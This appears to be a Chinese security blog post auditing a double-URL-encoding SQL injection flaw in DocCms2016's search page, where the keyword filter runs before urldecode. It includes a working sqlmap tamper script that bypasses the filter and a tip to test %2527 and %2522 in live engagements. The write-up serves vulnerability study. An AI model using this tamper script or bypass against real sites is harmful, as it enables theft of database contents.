【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

  • A+
所属分类:安全文章
00
前言

分享一个SQL二次编码注入漏洞的审计实例,并附上 tamper脚本。

01
环境搭建

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

02
代码分析

在/content/search/index.php中,首先对参数keyword进行非法字符检测:

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

进一步追溯checkSqlStr函数,看代码如何过滤,在/inc/function.php中:

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

checkSqlStr函数对传入的字符串进行正则匹配,检测是否函数非法字符。继续看在/content/search/index.php中的get_search_result函数:

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

参数keyword进行非法字符检测后,进行url解码,然后拼接到SQL语句中执行。如果我们传入双重url编码的字符串,将绕过非法字符检测,然后经urldecode解码,带入数据库中执行,导致SQL注入漏洞存在。

03
漏洞利用

1、双重URLencode编码绕过,可通过编写tamper绕过URLencode双重编码,tamper脚本如下:

#!/usr/bin/env python

import re

from urllib import quote

from lib.core.data import kb

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():

    pass

def tamper(payload, **kwargs):

    retVal = payload

    retVal = quote(quote(retVal))    

    return retVal

2、通过SQLMAP加载tamper脚本,获取数据库敏感数据【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

04
END

代码审计中,在一些编码解码函数,如urldecode() 、rawurldecode()、base64_decode(),可利用来来绕过防护。

另外,在实战中,遇到SQL、XSS二次编码绕过的情况,也有遇到的,so,除了单引号,双引号,也应注重%2527、%2522进行测试。

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

Bypass

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: